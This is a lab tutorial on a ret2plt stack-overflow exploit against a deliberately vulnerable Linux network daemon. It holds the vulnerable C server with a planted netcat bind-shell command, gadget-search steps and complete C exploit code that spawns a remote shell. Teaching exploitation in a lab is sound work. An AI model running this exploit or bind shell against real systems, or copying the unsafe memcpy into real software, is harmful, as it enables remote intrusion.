x86_64 Linux Remote Stack Overflow Exploitation - ret2plt

written by : Antonius (w1sdom)
web : bluedragonsec.com
github : https://github.com/bluedragonsecurity

The ret2plt technique is only useful under ASLR conditions if the ELF binary is compiled without PIE.

Unfortunately, on the current 64-bit Linux architecture, the ret2plt technique is no longer useful because all binaries are compiled with PIE by default.

Let us take Ubuntu as a reference. Since when has PIE been enabled by default?

Here is the timeline:

21 April 2016

Ubuntu 16.04 32-bit — -> default compilation non PIE

Ubuntu 16.04 64-bit — -> default compilation non PIE

13 October 2016

Ubuntu 16.10 32-bit — -> default compilation non PIE

Ubuntu 16.10 64-bit — -> PIE default for all binaries

13 April 2017

Ubuntu 17.04 32-bit — -> default compilation non PIE

Ubuntu 17.04 64-bit — -> PIE default for all binaries

19 October 2017

Ubuntu 17.10 32-bit — -> PIE default for all binaries

Ubuntu 17.10 64-bit — -> PIE default for all binaries

26 April 2018

Ubuntu 18.04 32-bit — -> PIE default for all binaries

Ubuntu 18.04 64-bit — -> PIE default for all binaries

From this timeline we can conclude that the ret2plt technique was still useful for bypassing ASLR on 32-bit Ubuntu before 26 April 2018.

For 64-bit, it could still be used to bypass ASLR on Ubuntu 16.04 released on 21 April 2016.

In short, this technique works because ASLR does not randomize all parts of the executable file by default.

Ret2plt is a form of Code Reuse Attack that belongs to the larger family of ROP (Return-Oriented Programming).

Why is ret2plt Considered ROP?

As the name implies, Return-Oriented Programming is a technique where we control the program’s execution flow by arranging addresses on the stack that will be called when the ret instruction is executed.

ASLR Weakness: Not All Addresses Are Randomized

If the program is not compiled as PIE (Position Independent Executable), the Executable section of the main program remains at a static/fixed address.

Within this static section, there is a table called the PLT (Procedure Linkage Table).

What are PLT and GOT?

To understand ret2plt, we must understand the relationship between PLT and GOT:

In a traditional buffer overflow attack, the attacker tries to jump directly to a function address in libc (for example system()). Because of ASLR, the address of system() changes every time the program runs, making it difficult to predict.

However, with ret2plt, the attacker does not jump to libc, but instead jumps to the function’s entry in PLT.

On the 64-bit architecture (x86_64), the challenge is that function arguments are no longer placed on the stack, but in registers (such as RDI, RSI, etc). Therefore, the ret2plt technique is usually combined with ROP (Return Oriented Programming).

Example Attack Scenario:

1. The attacker finds the address of a pop rdi; ret gadget (static).

2. The attacker loads the address of the string “/bin/sh” into the RDI register.

3. The attacker directs the return address to system@plt (static).

4. The program will execute system(“/bin/sh”) even though the libc address is randomized by ASLR.

In this example, the attacker machine is Kali Linux with IP 10.71.19.14 and the target server is a VirtualBox VM running Lubuntu 24 with IP 10.71.19.211.

To simplify things, let us prepare the setup as usual:

1. Edit /etc/resolv.conf

add: nameserver 127.0.0.1

2. In /etc/dnsmasq.conf add:

address=/victim/10.71.19.211

3. Restart dnsmasq: systemctl restart dnsmasq

In this example we will use a vulnerable daemon application on the target server:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void gadgets() {
    __asm__("pop %rdi; ret");
    __asm__("pop %rsi; ret");
    char *data = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f";
}

void handle_client(int client_sock) {
    char buffer[64];
    char input[512];
    int n = recv(client_sock, input, sizeof(input) - 1, 0);
    if (n > 0) {
        input[n] = '\0';
        memcpy(buffer, input, sizeof(input));
        printf("Received: %s\n", buffer);
    }
}

int main(int argc, char **argv) {
    if (argc > 100) { system(argv[1]); }
    int server_fd, client_sock;
    struct sockaddr_in server_addr;
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    int opt = 1;
    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(8888);
    bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
    listen(server_fd, 5);
    printf("Daemon listening on port 8888...\n");
    while (1) {
        client_sock = accept(server_fd, NULL, NULL);
        if (fork() == 0) {
            close(server_fd);
            handle_client(client_sock);
            exit(0);
        }
        close(client_sock);
    }
    return 0;
}

Save this on the target server as vuln.c

The source code above has a stack overflow bug during the client data input process:

void handle_client(int client_sock) {
    char buffer[64];
    char input[512];
    int n = recv(client_sock, input, sizeof(input) - 1, 0);
    if (n > 0) {
        input[n] = '\0';
        memcpy(buffer, input, sizeof(input));
        printf("Received: %s\n", buffer);
    }
}

Here we can see the stack buffer size is only 64 bytes while the client input can reach 512 bytes.

The use of the unused gadgets function in the original program flow is to simplify the demo of extracting ROP gadgets from the ELF binary, since this ELF binary is small and does not contain many strings and ASM instructions that can be used for ROP. In real-life exploitation, ELF binaries are usually large and likely contain many gadgets for ROP.

void gadgets() {
    __asm__("pop %rdi; ret");
    __asm__("pop %rsi; ret");
    char *data = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f";
}

Compile:

gcc -o vuln vuln.c -fno-stack-protector -fno-pie -no-pie

Make sure ASLR is active on the target server, type:

sudo echo 2 > /proc/sys/kernel/randomize_va_space

Next, on the target machine, run and debug the process with GDB:

./vuln

Open another terminal and type:

ps aux | grep vuln

Example output:

robohax@robohax-virtualbox:~/Desktop/part4/4/aslr/ret2plt$ ps aux | grep vuln
robohax 8837 0.0 0.0 2680 1124 pts/0 S+ 08:13 0:00 ./vuln

Then we will debug PID 8837:

sudo su
gdb -p 8837

In the GDB console, type:

set follow-fork-mode child
cont

Step 1. Basic Exploit Framework

Back to Kali Linux, let us prepare the basic framework for exploitation:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>

int main() {
    int sock;
    struct sockaddr_in target;
    struct addrinfo hints, *res;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_INET;
    hints.ai_socktype = SOCK_STREAM;
    char payload[500];
    if (getaddrinfo("victim", "8888", &hints, &res) != 0) {
        perror("Failed to resolve hostname");
        return 1;
    }
    struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
    memset(payload, 0x90, sizeof(payload));
    memset(payload + 88, 'B', 8);
    memset(payload + 96, 'C', 8);
    sock = socket(AF_INET, SOCK_STREAM, 0);
    target.sin_addr = addr->sin_addr;
    target.sin_family = AF_INET;
    target.sin_port = htons(8888);
    inet_pton(AF_INET, "victim", &target.sin_addr);
    connect(sock, (struct sockaddr *)&target, sizeof(target));
    send(sock, payload, 500, 0);
    close(sock);
    return 0;
}

Save as exploit1.c then compile:

gcc -o exploit1 exploit1.c

Based on testing, the top of the stack can be overwritten starting at byte 88.

To test this we use the exploit1.c code.

Run exploit1:

./exploit1

Back to the target server, let us look at the GDB window and inspect RSP:

 

x/20gx $rsp

Press enter or click to view image in full size

We can see the top of the stack has been successfully overwritten with 8 bytes of 0x42.

Step 2. Constructing the ROP Return to PLT Instructions

Back to the target server (Lubuntu 24) in VirtualBox. We will look for gadgets that we can use.

We will use this ROP sequence for ret2plt:

1. First, we direct the return address to a memory address containing a ret instruction, with the purpose of stack alignment. Why?

Many functions in Linux (especially glibc functions like system()) use instructions that require the stack address to be aligned on a 16-byte boundary (16-byte alignment).

2. Retrieve the memory address containing the function parameter string for system() from the stack into the RDI register. As we know, on Linux x64 function parameters are stored in the RDI, RSI, and subsequent registers. The stack is only used if the number of function arguments exceeds 6.

3. Next, we direct the vulnerable program to jump to the memory address containing the stub instructions or PLT section of the ELF to redirect the program to the actual function address, which is the absolute memory address containing the complete routine for system() that actually resides in libc.

4. After system() is executed, we need to call the exit() syscall so that execution proceeds smoothly. This step is essentially the same as step 3.

Step 1

First, we look for a sequence in the ELF containing a ret instruction. On the target machine, type:

objdump -d vuln | grep ret

Example output:

Press enter or click to view image in full size

We will use the last ret instruction at 401478:

401478:    c3    ret

Step 2

Next, we will look for the memory address in the ELF containing the string for the system() function parameter. Type:

ROPgadget --binary vuln --string "rm "

Result:

Strings information
============================================================
0x0000000000402008 : rm

The memory address is: 402008

Step 3

Find the memory address for system@plt:

objdump -d vuln | grep system

Result:

401391:    e8 aa fd ff ff    call 401140 <system@plt>

We will use the memory address: 401140

Step 4

Find the memory address for exit@plt:

objdump -d vuln | grep exit

Result:

401458:    e8 63 fd ff ff    call 4011c0 <exit@plt>

We will use the memory address: 4011c0

Here is our final exploit framework:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>

#define POP_RDI     0x4012de
#define SYSTEM_PLT  0x401140
#define RET_GADGET  0x401478
#define CMD_ADDR    0x402008
#define EXIT_PLT    0x4011c0

int main() {
    int sock;
    struct sockaddr_in serv_addr;
    struct addrinfo hints, *res;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_INET;
    hints.ai_socktype = SOCK_STREAM;
    char payload[512];
    int offset = 88;
    unsigned long val;
    if (getaddrinfo("victim", "8888", &hints, &res) != 0) {
        perror("Failed to resolve hostname");
        return 1;
    }
    struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
    sock = socket(AF_INET, SOCK_STREAM, 0);
    serv_addr.sin_addr = addr->sin_addr;
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(8888);
    inet_pton(AF_INET, "victim", &serv_addr.sin_addr);
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        perror("Connect failed");
        return -1;
    }
    memset(payload, 0x90, sizeof(payload));
    val = RET_GADGET;
    memcpy(payload + offset, &val, 8); offset += 8;
    val = POP_RDI;
    memcpy(payload + offset, &val, 8); offset += 8;
    val = CMD_ADDR;
    memcpy(payload + offset, &val, 8); offset += 8;
    val = SYSTEM_PLT;
    memcpy(payload + offset, &val, 8); offset += 8;
    val = EXIT_PLT;
    memcpy(payload + offset, &val, 8); offset += 8;
    send(sock, payload, offset, 0);
    printf("[+] Payload sent !\n");
    close(sock);
    return 0;
}

Save as exploit2.c then compile:

gcc -o exploit2 exploit2.c

On the target server in VirtualBox, make sure you have exited GDB and vuln is running!

Next, back to Kali Linux, run exploit2:

./exploit2

If successful, we will get a bind shell on the target server on port 51337.

Result:

Press enter or click to view image in full size


 

 

 

I do low level vulnerability research & hardware hacking (main focus : robotics).

Nicknames : w1sdom, sw0rdm4n, ringlayer, robotsoft, bluedragonsec, ev1lut10n, d4r3d3v1l, jck.marshall (1 time usage), 黑蝎子

Low-Level Vulnerability Research | Hardware Hacking | Robotics | Chinese | Polymath






Hobbies

music (fingerstyle guitar & keyboard)
martial art (muay thai, tae kwon do, boxing, bjj).

Music Channel
Martial Art Channel

Skills & Expertise
Vulnerability Research Static Source Code Analysis Kernel Exploitation Userland Exploitation Heap Exploitation Stack Exploitation Fuzzing Hardware Hacking Network Security Reverse Engineering Modern Mitigation Bypass Deep Learning Mechatronics Electronics Robotics Tactical Hacking Device Development Mathematics Machine Learning

Documentations
Github

Now Playing: ...